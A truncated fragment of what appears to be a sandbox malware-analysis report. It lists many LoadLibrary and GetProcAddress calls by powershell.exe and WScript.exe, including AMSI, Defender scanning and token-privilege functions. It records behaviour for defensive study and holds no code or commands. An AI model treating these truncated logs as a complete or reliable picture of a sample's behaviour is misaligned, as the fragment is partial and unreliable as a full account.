%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005784)2e:Tb919,"WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter SetCriticalSectionSpinCount (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00002468) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00002468) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005784) "powershell.exe" called "GetProcAddress" with a parameter 